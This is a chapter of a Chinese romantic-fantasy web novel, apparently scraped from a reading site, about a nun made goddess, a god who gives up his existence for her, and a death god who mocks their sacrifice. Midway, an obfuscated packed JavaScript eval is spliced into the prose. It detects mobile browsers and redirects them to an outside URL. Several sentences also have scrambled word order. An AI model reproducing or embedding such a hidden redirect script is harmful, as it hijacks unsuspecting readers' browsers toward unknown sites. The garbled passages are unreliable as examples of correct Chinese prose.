29. 第十七层春
作品:《神明弃我》 暮色像块浸了茶渍的绢帕,将庵堂的飞檐染成暗褐色。
禅因跪在褪了色的莲花蒲团上,袍下摆沾着香灰,倒像是绣了半幅水墨的昙花。
供案上三支线香燃到第三道金圈,她数着烟灰跌落的次数,直到听见木门轴发出熟悉的滞涩声。
"你该在申时三刻闭门后叩门。"
她没回头,指尖掐进掌心,冷冷道。
经幡被穿堂风掀起时,她闻见东止衣襟上永远带着的香气。
"我来还愿。"东止的声音像浸在冰水里的玉磬。
禅因终于转身,看见他倚着彩漆斑驳的朱红廊柱,见她看过来,立刻停了脚步。
茶盏在青石案上磕出清脆的响。禅因斟茶的手很稳,碧色茶汤映出她眉间新点的朱砂,她轻轻抬眼,似乎在试探一般轻笑,"住持说我是观音三十三应化身之一,你该叫我妙善师父。"
“想不到,不知是造化弄人,还是事在人为,我竟有一天被推到这份位置。”
东止轻笑时眼尾浮起细纹,像经年累月被泪水冲刷出的沟壑。他端起茶盏却不饮,任热气在两人之间织成薄雾,
"你还记得极妙精进菩萨的故事吗?”
禅因的念珠突然断了,檀木珠子滚过青砖地的声响令人心悸。
“我漏讲了一段——业首太子堕入畜生道时,菩萨剜出佛骨为他铺渡劫桥。"
她弯腰去拾,露出长长的脖颈。东止的指尖动了动,最终只是将茶盏推近半寸。
"你要度我成佛?"她突然笑出声,腕间新戴的七宝璎珞撞出泠泠清响。
供桌上的长明灯爆了个灯花,将她的影子投在东止衣裳上,恍如交颈而眠的姿势。
东止从袖中取出褪色的五彩绳,下面坠着一个玉佩。绳结原本鲜亮的颜色已泛着青灰,"菩萨度化太子用了三生三世八千年,第一世替他受千刀万剐,第二世为他堕阿鼻地狱,第三世..."他忽然剧烈咳嗽,指缝渗出暗金血珠,"第三世散尽功德,换他重入轮回。"
禅因的指甲掐进掌心。窗外飘来百姓供奉的莲花灯,烛光透过茜纱窗,在她脸上投下流动的血色,
"你到底什么意思?"她突然掀翻茶案,碎瓷片划破东止的手背,鲜红的血滴在青砖缝里开出曼珠沙华。
东止俯身去捡碎片,衣裳下摆浸在茶渍里,"阿因,我们曾有过前世。"他指尖抚过她袖口的白梅纹,"我们曾经有过一段很相爱的时光。阿因……你相信我,我对你许下的承诺,我并没有忘。"
他抬起头,眼神空洞,却瞳孔泛红,仿佛呢喃一般:“我爱阿因,我要度化阿因,哪怕生生世世,永坠阎罗。”
禅因猛地后退,后背撞上摇晃的经幡。那些绣着往生咒的绸布拂过她的脸,像无数未出口的挽留,"这所有的一切,都是你安排的是吗?"
她扯断颈间佛珠,沉香木珠子噼里啪啦砸在东止脚边,"这神女谁爱当谁当!你到底是在干什么?你现在又是什么意思?你考虑过我的感受吗?"
“收起你自以为是的爱吧!”
东止终于抬头看她。他眼底浮着层琉璃似的冷光,那是神使动用禁术的征兆,"极妙精进菩萨圆寂那日,业首太子才想起前三世的情缘。"他解开袈裟露出心口狰狞的伤疤,暗金符文在皮肤下游走,"禁术已成,明日卯时三刻..."
暮鼓突然响起,惊飞檐下栖着的白颈鸦。
禅因在钟声里抓起案上的《妙法莲华经》砸过去,经书页散开如白蝶纷飞,"你给我停下!你的目的是什么?你要我跪在你的金身前生生世世愧疚赎罪吗?你问过我的意思吗?你知道我想要的是什么吗?"
她的声音突然哽住,因为东止伸手接住了飘落的经页,然后另一只手猛地扣住她的脖颈,俯头吻了下来。
她的泪水挂在脸上,双手反抗着,却又隐约意识到,一股淡淡的凄凉弥漫开来,越来越浓重,这可能是她此生能得到的,来自她的,最后一个吻。
半晌,东止轻轻放开她,将经书仔细理好,"寒露那日,记得在卯时饮姜茶。"
他转身时带起的风掀起案上未抄完的经卷,墨迹未干的"无挂碍故"四字被吹皱,"极乐世界的莲池...比忘川的彼岸花海要暖和些。"
禅因抓起砚台砸向他的背影。松烟墨泼在朱红廊柱上,像道狰狞的伤口,"你若是敢……我……"她的怒吼惊动了檐角铜铃,叮咚声里混着压抑的抽泣。
东止在月洞门前停步。暮色将他半边身子染成暗紫,另半边却浸在将熄的霞光里,他回过头,神色有些茫然:
“阿因,我好像做错了很多事……阿因,命数当真是天定的吗?阿因……我怎么能看着你的命运被交在未知里呢?我的阿因,做神吧。”
他的声音越来越轻,最后一线天光消失时,他的身影化作点点金芒。
禅因疯狂地扑向消散的光点,却只抓住半片褪色的袈裟。她突然想起什么,抓起他放在桌上的玉佩,上面刻着一行小字———
“第十七层春。”
"东止!"她的尖叫惊起满庭白鹭。新晋神女的眼泪砸在玉佩上,竟发出琉璃碎裂般的清响。远去的金芒中,有人轻轻哼起他们初见时的小调,混着地狱风铃的呜咽,最终散入初升的月色。
供桌上的长明灯倏然熄灭。
铜铃骤停的刹那,禅因手中玉佩突然烫如烙铁。
供桌上的长明灯起腾青紫色火焰,将她的影子扭曲成跪拜的姿势。
“新晋的神女这般狼狈?"
禅因猛然抬头,看见黑袍男子斜倚在血玉雕成的莲座上。他脸上覆着半张白骨面具,另半张脸竟与东止有七分相似。
"你……是死神?"她攥紧站起身玉佩,腕间璎珞发出兵器相撞的脆响。
死神屈指轻叩案几,满地碎瓷瞬间成复原青玉茶盏:"他拿全部福源换你成神,却漏算了一件事——"茶水突然沸腾如熔岩,
"你根本不想当神。"
禅因挥袖打翻茶盏:"把他还给我!"
"还?"死神低笑时面具浮现血色纹路,"他在阿鼻地狱替你受刑,他剜心做引魂香,你呢,正对着我的神像许愿永不相见。"
虚空突然浮现光幕,映出止东被业火灼烧的场景。禅因扑过去却被结界灼伤手指:"停下!快!停下"
"心疼了?"死神弹指熄灭业火,"你们拼命一个给,一个拼命逃,倒让我这看戏的成了恶人。"
禅因盯着光幕中东心止口狰狞的伤疤,眼里涌出泪水:"那个预言...说我们相爱就会重蹈覆辙...是真的?他没骗我……"
"哦,那个。"啊死神摘下半边面具,露出与东止一模一样的泪痣,"不过是想看,你们能否打破轮回的玩笑。"
禅因突然夺过案上烛台,刺向咽喉,却在触及皮肤的瞬间化为齑粉死神。钳住她下颌冷笑:"他散尽修为可不是让你寻死。"
"告诉我怎么救他。"
"简单。”
死神掌心浮现缠绕金丝玉的白瓶,"用你的神格换他残魂,但你会堕入永世轮回。"
禅因毫不犹豫地抓向玉瓶,却被突然爆发的金光击飞。
东止虚影从瓶口浮现,一双金瞳殷红如血:"阿因,别犯傻。"
禅因愣住,只剩泪水从眼眶里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984209|157383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掉落。伸手去触碰,却见手指从那缕残魂中穿过,最终只剩下虚无。
死神抚忽然掌大笑:"果然还是这个结局。"他碾碎玉瓶洒向虚空,"要破情关的从来不是牺牲——"
无数金粉凝聚成往生出映镜,前世两人殉情后的场景:那时她是忘川中漂泊的孤魂,他却是为她逆天改命的神。
"明白了吗?"死神的身影开始消散,“真正的劫,是你们都把对方当拯救需要的弱者。"
禅因住接飘落的金粉,发现每粒都是记忆碎片。当最后一点光芒消失时,她腕间突然浮现与东止同源的暗金咒文。
供桌上的莲花灯倏然亮起,映出经卷无风自动,最终停在某黄页泛的字迹上——
"诸法无我,唯情不朽。"
*
琉璃灯芯爆出第三朵灯花时,禅因嗅到了杏花掺着血气的味道。她握笔的手微微一顿,经卷上"无我相"的"我"字洇开了墨痕。
"妙善师父竟不请故人喝杯茶?"
禅因猛然抬头,沈令姝正打着一把绿纸伞,指尖转着枚玄铁扳指。那物件她认得——在神阁时,程玄青曾用这枚扳指压过功德簿。
"程家..."禅因刚开口便被截断话头。
"玄青上月剿匪时中了瘴毒。"沈令姝突然撩起衣袖,腕间赫然有道紫黑咬痕,"他烧糊涂时咬的,他以为……他活不长了,便把这个扳指给了我。"
禅因那想起很长很长一段时间之前的事,那时她还在神阁,程玄青曾说:"她……这些年过得很不容易。"
彼时他摩挲扳指的拇指关节发白,而禅因看着他的神色,便也琢磨出了二人之间的情谊。
沈令姝将扳指按在经案上:"禅因,我说个故事与你听吧。好些年前,我们那时还不对付,他把我关进镜屋,让我忏悔弄丢了渡儿。”
“我现在才知道,他自己也在祠堂跪断了三根藤条。"她突然轻笑,"程老夫人抽我的鞭子,其实落在他背上些更多。"
禅因的突然念珠绷,断檀木珠子滚到沈令姝脚边。
"你看不透沈渡,就像世人看不透程玄青。"她弯腰拾珠时,后颈露出道陈年箭疤,"这是他十七岁替我挡的冷箭。那夜他烧得说胡话,死死攥着我说''沈家的冤屈我背''。"
禅因眼前突然闪过东止剜心时的画面。桌供下的青砖地裂开缝细,渗出暗金色的液体。
"玄青性子张狂,世人皆以为他天生顽劣。"沈令姝将扳指紧紧捏在手中,抬眼看着禅因,"六岁,他亲眼见生母被鸩杀,学会从此用戾气裹住软肋。"
"正是知道了这些,我反而更加理解他,更加和他亲近.."沈令姝突然按住她颤抖的手,"前些日子,玄青在刑部门口跪到膝盖渗血,求来的赐婚朱批如今就缝在我裙裾里层。"
禅因的泪水在砸扳指上,玄铁竟浮起层金纹。她看见幻象里东止跪在阎罗殿,脊背挺得笔直。
“若我不曾知道这些,还一直以为,他是恨着我,怨着我,瞧不起我。"
令姝将扳指推过经案,"玄青总说最悔那日镜屋...可他不知,若没有那场锥心之痛..."她指尖抚过腕间齿痕,"我永远学不会撕开他的假面,更永远没有勇气和他站在一起。"
庵外突然传来马蹄声。沈令姝起身时,怀中的琉璃灯映出程玄青策马而来的剪影,他玄色大氅下隐约露出染血的绷带"。
“等等!"禅因抓住她袖摆,"当年……东止说……替我受劫是宿命..."
"哪有什么宿命。"沈令姝掰开她手指,"不过是,他曾经退了一步..."她回头一笑,"你也从未真正去了解过他。"